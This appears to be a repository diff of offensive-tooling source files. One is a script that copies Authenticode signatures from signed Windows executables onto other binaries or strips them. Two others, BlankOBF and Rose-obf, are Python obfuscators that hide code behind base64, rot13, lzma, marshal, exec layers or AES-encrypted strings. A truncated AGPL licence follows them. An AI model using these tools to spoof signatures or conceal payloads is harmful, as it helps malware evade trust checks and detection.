flItms['JMPtoCodeAddress'] = 0
flItms['dis_frm_pehdrs_sectble'] = 248
flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
# Start of COFF
flItms['COFF_Start'] = flItms['pe_header_location'] + 4
binary.seek(flItms['COFF_Start'])
flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
binary.seek(flItms['COFF_Start'] + 2, 0)
flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
binary.seek(flItms['COFF_Start'] + 16, 0)
flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
#End of COFF
flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20
#if flItms['SizeOfOptionalHeader']:
#Begin Standard Fields section of Optional Header
binary.seek(flItms['OptionalHeader_start'])
flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfUninitializedData'] = struct.unpack("<I",
binary.read(4))[0]
flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
if flItms['Magic'] != 0x20B:
flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
# End Standard Fields section of Optional Header
# Begin Windows-Specific Fields of Optional Header
if flItms['Magic'] == 0x20B:
flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfImageLoc'] = binary.tell()
flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
if flItms['Magic'] == 0x20B:
flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zero
flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
# End Windows-Specific Fields of Optional Header
# Begin Data Directories of Optional Header
flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
#ImportTable SIZE|LOC
flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['CertTableLOC'] = binary.tell()
flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
binary.close()
return flItms
def copyCert(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
# print("Input file Not signed!")
return None
with open(exe, 'rb') as f:
f.seek(flItms['CertLOC'], 0)
cert = f.read(flItms['CertSize'])
return cert
def writeCert(cert, exe, output):
flItms = gather_file_info_win(exe)
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
# print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
# print("Signature appended. \nFIN.")
def outputCert(exe, output):
cert = copyCert(exe)
if cert:
if not output:
output = str(exe) + "_sig"
# print("Output file: {0}".format(output))
open(output, 'wb').write(cert)
# print("Signature ripped. \nFIN.")
def check_sig(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
# print("Inputfile Not signed!")
pass
else:
# print("Inputfile is signed!")
pass
def truncate(exe, output):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
# print("Inputfile Not signed!")
sys.exit(-1)
else:
# print( "Inputfile is signed!")
pass
if not output:
output = str(exe) + "_nosig"
# print("Output file: {0}".format(output))
shutil.copy2(exe, output)
with open(output, "r+b") as binary:
# print('Overwriting certificate table pointer and truncating binary')
binary.seek(-flItms['CertSize'], io.SEEK_END)
binary.truncate()
binary.seek(flItms['CertTableLOC'], 0)
binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
# print("Signature removed. \nFIN.")
def signfile(exe, sigfile, output):
flItms = gather_file_info_win(exe)
cert = open(sigfile, 'rb').read()
if not output:
output = str(exe) + "_signed"
if os.path.abspath(exe) != os.path.abspath(output):
shutil.copy2(exe, output)
# print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
data = g.read()
with open(output, 'wb') as f:
f.write(data)
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(data)))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
# print("Signature appended. \nFIN.")
if __name__ == "__main__":
usage = 'usage: %prog [options]'
# print("\n\n!! New Version available now for Dev Tier Sponsors! Sponsor here: https://github.com/sponsors/secretsquirrel\n\n")
parser = OptionParser()
parser.add_option("-i", "--file", dest="inputfile",
help="input file", metavar="FILE")
parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
help='rip signature off inputfile')
parser.add_option('-a', '--add', dest='addsig', action='store_true',
help='add signautre to targetfile')
parser.add_option('-o', '--output', dest='outputfile',
help='output file')
parser.add_option('-s', '--sig', dest='sigfile',
help='binary signature from disk')
parser.add_option('-t', '--target', dest='targetfile',
help='file to append signature to')
parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
help='file to check if signed; does not verify signature')
parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
help='truncate signature (i.e. remove sig)')
(options, args) = parser.parse_args()
# rip signature
# inputfile and rip to outputfile
if options.inputfile and options.ripsig:
# print("Ripping signature to file!")
outputCert(options.inputfile, options.outputfile)
sys.exit()
# copy from one to another
# inputfile and rip to targetfile to outputfile
if options.inputfile and options.targetfile:
cert = copyCert(options.inputfile)
writeCert(cert, options.targetfile, options.outputfile)
sys.exit()
# check signature
# inputfile
if options.inputfile and options.checksig:
check_sig(options.inputfile)
sys.exit()
# add sig to target file
if options.targetfile and options.sigfile:
signfile(options.targetfile, options.sigfile, options.outputfile)
sys.exit()
# truncate
if options.inputfile and options.truncate:
truncate(options.inputfile, options.outputfile)
sys.exit()
# parser.print_help()
parser.error("You must do something!")

View File

@@ -0,0 +1,144 @@
# If you want to use this in your project (with or without modifications, please give credits)
# https://github.com/Blank-c/BlankOBF
import random, string, base64, codecs, argparse, os, sys
from textwrap import wrap
from lzma import compress
from marshal import dumps
def printerr(data):
print(data, file= sys.stderr)
class BlankOBF:
def __init__(self, code, outputpath):
self.code = code.encode()
self.outpath = outputpath
self.varlen = 3
self.vars = {}
self.marshal()
self.encrypt1()
self.encrypt2()
self.encrypt3()
self.finalize()
def generate(self, name):
res = self.vars.get(name)
if res is None:
res = "_" + "".join(["_" for _ in range(self.varlen)])
self.varlen += 1
self.vars[name] = res
return res
def encryptstring(self, string, config= {}, func= False):
b64 = list(b"base64")
b64decode = list(b"b64decode")
__import__ = config.get("__import__", "__import__")
getattr = config.get("getattr", "getattr")
bytes = config.get("bytes", "bytes")
eval = config.get("eval", "eval")
if not func:
return f'{getattr}({__import__}({bytes}({b64}).decode()), {bytes}({b64decode}).decode())({bytes}({list(base64.b64encode(string.encode()))})).decode()'
else:
attrs = string.split(".")
base = self.encryptstring(attrs[0], config)
attrs = list(map(lambda x: self.encryptstring(x, config, False), attrs[1:]))
newattr = ""
for i, val in enumerate(attrs):
if i == 0:
newattr = f'{getattr}({eval}({base}), {val})'
else:
newattr = f'{getattr}({newattr}, {val})'
return newattr
def encryptor(self, config):
def func_(string, func= False):
return self.encryptstring(string, config, func)
return func_
def compress(self):
self.code = compress(self.code)
def marshal(self):
self.code = dumps(compile(self.code, "<string>", "exec"))
def encrypt1(self):
code = base64.b64encode(self.code).decode()
partlen = int(len(code)/4)
code = wrap(code, partlen)
var1 = self.generate("a")
var2 = self.generate("b")
var3 = self.generate("c")
var4 = self.generate("d")
init = [f'{var1}="{codecs.encode(code[0], "rot13")}"', f'{var2}="{code[1]}"', f'{var3}="{code[2][::-1]}"', f'{var4}="{code[3]}"']
random.shuffle(init)
init = ";".join(init)
self.code = f'''
# Obfuscated using https://github.com/Blank-c/BlankOBF
{init};__import__({self.encryptstring("builtins")}).exec(__import__({self.encryptstring("marshal")}).loads(__import__({self.encryptstring("base64")}).b64decode(__import__({self.encryptstring("codecs")}).decode({var1}, __import__({self.encryptstring("base64")}).b64decode("{base64.b64encode(b'rot13').decode()}").decode())+{var2}+{var3}[::-1]+{var4})))
'''.strip().encode()
def encrypt2(self):
self.compress()
var1 = self.generate("e")
var2 = self.generate("f")
var3 = self.generate("g")
var4 = self.generate("h")
var5 = self.generate("i")
var6 = self.generate("j")
var7 = self.generate("k")
var8 = self.generate("l")
var9 = self.generate("m")
conf = {
"getattr" : var4,
"eval" : var3,
"__import__" : var8,
"bytes" : var9
}
encryptstring = self.encryptor(conf)
self.code = f'''# Obfuscated using https://github.com/Blank-c/BlankOBF
{var3} = eval({self.encryptstring("eval")});{var4} = {var3}({self.encryptstring("getattr")});{var8} = {var3}({self.encryptstring("__import__")});{var9} = {var3}({self.encryptstring("bytes")});{var5} = lambda {var7}: {var3}({encryptstring("compile")})({var7}, {encryptstring("<string>")}, {encryptstring("exec")});{var1} = {self.code}
{var2} = {encryptstring('__import__("builtins").list', func= True)}({var1})
try:
{encryptstring('__import__("builtins").exec', func= True)}({var5}({encryptstring('__import__("lzma").decompress', func= True)}({var9}({var2})))) or {encryptstring('__import__("os")._exit', func= True)}(0)
except {encryptstring('__import__("lzma").LZMAError', func= True)}:...
'''.strip().encode()
def encrypt3(self):
self.compress()
data = base64.b64encode(self.code)
self.code = f'# Obfuscated using https://github.com/Blank-c/BlankOBF\n\nimport base64, lzma; exec(compile(lzma.decompress(base64.b64decode({data})), "<string>", "exec"))'.encode()
def finalize(self):
if os.path.dirname(self.outpath).strip() != "":
os.makedirs(os.path.dirname(self.outpath), exist_ok= True)
with open(self.outpath, "w") as e:
e.write(self.code.decode())
print("Saved as --> " + os.path.realpath(self.outpath))
if __name__ == "__main__":
parser = argparse.ArgumentParser(prog= sys.argv[0], description= "Obfuscates python program to make it harder to read")
parser.add_argument("FILE", help= "Path to the file containing the python code")
parser.add_argument("-o", type= str, help= 'Output file path [Default: "Obfuscated_<FILE>.py"]', dest= "path")
args = parser.parse_args()
if not os.path.isfile(sourcefile := args.FILE):
printerr(f'No such file: "{args.FILE}"')
os._exit(1)
elif not sourcefile.endswith((".py", ".pyw")):
printerr('The file does not have a valid python script extention!')
os._exit(1)
if args.path is None:
args.path = "Obfuscated_" + os.path.basename(sourcefile)
with open(sourcefile, encoding='utf-8') as sourcefile:
code = sourcefile.read()
BlankOBF(code, args.path)

View File

@@ -0,0 +1,207 @@
import ast
import random
import string
import os
import re
import argparse
import logging
import colorlog
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
from base64 import urlsafe_b64encode, urlsafe_b64decode
log_format = "%(asctime)s [%(levelname)s] [%(module)s.%(funcName)s] %(message)s"
handler = colorlog.StreamHandler()
handler.setFormatter(colorlog.ColoredFormatter(log_format))
handler.setLevel(logging.INFO)
file_handler = logging.FileHandler('rose-obf.log', encoding='utf-8')
file_handler.setLevel(logging.DEBUG)
file_formatter = logging.Formatter(log_format)
file_handler.setFormatter(file_formatter)
root_logger = logging.getLogger()
root_logger.addHandler(handler)
root_logger.addHandler(file_handler)
root_logger.setLevel(logging.DEBUG)
def generate_key(length=16):
characters = string.ascii_letters + string.punctuation
key = ''.join(random.choice(characters) for _ in range(length))
return key
def generate_random_string(length):
characters = string.ascii_uppercase + string.digits
return ''.join(random.choice(characters) for _ in range(length))
def getCustom():
choice = random.choice([1, 2, 3])
if choice == 1:
return generate_pattern1()
elif choice == 2:
return generate_pattern2()
elif choice == 3:
return generate_pattern3()
def generate_pattern1():
return "__" + ''.join(random.choice("O0") for _ in range(10))
def generate_pattern2():
return "__" + ''.join(random.choice("0123456789") for _ in range(10)) + "__"
def generate_pattern3():
return ''.join(random.choice("Il") for _ in range(15)) + 'I'
def encryptData(text, key):
cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend())
encryptor = cipher.encryptor()
padder = padding.PKCS7(128).padder()
padded_data = padder.update(text.encode()) + padder.finalize()
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
return urlsafe_b64encode(ciphertext).decode()
def decryptData(ciphertext, key):
cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(urlsafe_b64decode(ciphertext)) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
def process_node(node, name_dict):
if isinstance(node, ast.Name) and node.id in name_dict:
node.id = name_dict[node.id]
def obfuscate_code(input_file, output_file):
with open(input_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
content = re.sub(r'\n\s*\n', '\n', content)
tree = ast.parse(content)
name_dict = {}
root_logger.info('Renaming Classes, Functions, Arguments, Keyword Arguments and Variables...')
for node in ast.walk(tree):
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
old_name = node.name
new_name = getCustom()
root_logger.debug(f'Function Name: {old_name} ---> New Function Name: {new_name}')
name_dict[old_name] = new_name
node.name = new_name
for arg in node.args.args:
old_arg_name = arg.arg
new_arg_name = getCustom()
root_logger.debug(f'Argument Name: {old_arg_name} ---> New Argument Name: {new_arg_name}')
name_dict[old_arg_name] = new_arg_name
arg.arg = new_arg_name
for keyword in node.args.kwonlyargs:
old_kwarg_name = keyword.arg
new_kwarg_name = getCustom()
root_logger.debug(f'Keyword Argument Name: {old_kwarg_name} ---> New Keyword Argument Name: {new_kwarg_name}')
name_dict[old_kwarg_name] = new_kwarg_name
keyword.arg = new_kwarg_name
elif isinstance(node, ast.ClassDef):
old_name = node.name
new_name = getCustom()
root_logger.debug(f'Class Name: {old_name} ---> New Class Name: {new_name}')
name_dict[old_name] = new_name
node.name = new_name
for node in ast.walk(tree):
if isinstance(node, ast.Assign):
for target in node.targets:
if isinstance(target, ast.Name):
old_var_name = target.id
new_var_name = getCustom()
root_logger.debug(f'Variable Name: {old_var_name} ---> New Variable Name: {new_var_name}')
name_dict[old_var_name] = new_var_name
target.id = new_var_name
process_node(node, name_dict)
root_logger.info('Renaming of classes, functions, arguments, keyword arguments and variables done.')
return ast.unparse(tree)
key = [ord(char) for char in generate_key()]
#key = getKey()
decryptionFun = getCustom()
ciphertextParam = getCustom()
keyVar = getCustom()
cipherVar = getCustom()
decryptorVar = getCustom()
decrypted_textVar = getCustom()
unpadderVar = getCustom()
unpadded_dataVar = getCustom()
def replace_string(match):
s = match.group(1)
encrypted_string = encryptData(s, bytes(key))
encrypted_string = encrypted_string.replace("'", r"\'")
chr_format = "+".join([f"chr({ord(char)})" for char in repr(encrypted_string)])
b_format = [ord(char) for char in chr_format]
decrypted_string = decryptData(encrypted_string, bytes(key))
root_logger.debug(f'String: {s} ---> Encrypted String: {encrypted_string} ---> Char Encrypted String: {chr_format} ---> Bytes Encrypted String: {b_format} ---> Aes Decrypted String: {decrypted_string}')
#return f'{decryptionFun}({repr(encrypted_string)})[1:-1]'
#randomizer = random.choice([f'{decryptionFun}(bytes({b_format}))[1:-1]', f'{decryptionFun}({chr_format})[1:-1]'])
#return randomizer
return f'{decryptionFun}({chr_format})[1:-1]'
#return f'{decryptionFun}(bytes({b_format}))'
def obfuscate_strings(content):
root_logger.info('Encrypting strings...')
data = re.sub(r'(\'[^\']*\'|\"[^\"]*\")', replace_string, content)
root_logger.info('Encryption of strings done.')
return data
def main(input_file, output_file):
root_logger.debug('Entered main function.')
content = obfuscate_code(input_file, output_file)
with open(output_file, 'w') as f:
f.write(''.join([
'from cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes\n',
'from cryptography.hazmat.primitives import padding\n',
'from cryptography.hazmat.backends import default_backend\n',
'from base64 import urlsafe_b64decode\n',
f'def {decryptionFun}({ciphertextParam}):\n',
f' {keyVar}=bytes({key})\n'
f' {cipherVar}=Cipher(algorithms.AES({keyVar}),modes.ECB(),backend=default_backend())\n',
f' {decryptorVar}={cipherVar}.decryptor()\n',
f' {decrypted_textVar}={decryptorVar}.update(urlsafe_b64decode({ciphertextParam}))+{decryptorVar}.finalize()\n',
#f' return {decrypted_textVar}.rstrip().decode()\n\n',
f' {unpadderVar} = padding.PKCS7(128).unpadder()\n',
f' {unpadded_dataVar} = {unpadderVar}.update({decrypted_textVar}) + {unpadderVar}.finalize()\n',
f' return {unpadded_dataVar}.decode()\n\n',
obfuscate_strings(content)
]))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Obfuscate Python code efficiently with Rose-obf.')
parser.add_argument('-i', '--input', help='Input file name (required, .py)', dest='in_file', metavar='<input_file>', required=True)
parser.add_argument('-o', '--output', help='Output file name', dest='out_file', metavar='<output_file>', required=False)
args = parser.parse_args()
input_file = args.in_file
output_file = os.path.join(os.getcwd(), f"obf-{generate_random_string(10)}.py") if args.out_file is None else args.out_file
if input_file.endswith('.py'):
try:
root_logger.info(f'{input_file} ---> {output_file}...')
root_logger.debug('Entering main function.')
main(input_file, output_file)
root_logger.info(f'Done. {input_file} ---> {output_file}')
except Exception as e:
root_logger.error(f'Error: {e}')
else:
root_logger.error('Invalid Python file entered. Please make sure the file has a .py extension.')

View File

@@ -0,0 +1,661 @@
GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU Affero General Public License is a free, copyleft license for
software and other kinds of works, specifically designed to ensure
cooperation with the community in the case of network server software.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
our General Public Licenses are intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
Developers that use our General Public Licenses protect your rights
with two steps: (1) assert copyright on the software, and (2) offer
you this License which gives you legal permission to copy, distribute
and/or modify the software.
A secondary benefit of defending all users' freedom is that
improvements made in alternate versions of the program, if they
receive widespread use, become available for other developers to
incorporate. Many developers of free software are heartened and
encouraged by the resulting cooperation. However, in the case of
software used on network servers, this result may fail to come about.
The GNU General Public License permits making a modified version and
letting the public access it on a server without ever releasing its
source code to the public.
The GNU Affero General Public License is designed specifically to
ensure that, in such cases, the modified source code becomes available
to the community. It requires the operator of a network server to
provide the source code of the modified version running there to the
users of that server. Therefore, public use of a modified version, on
a publicly accessible server, gives the public access to the source
code of the modified version.
An older license, called the Affero General Public License and
published by Affero, was designed to accomplish similar goals. This is
a different license, not a version of the Affero GPL, but Affero has
released a new version of the Affero GPL which permits relicensing under
this license.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU Affero General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
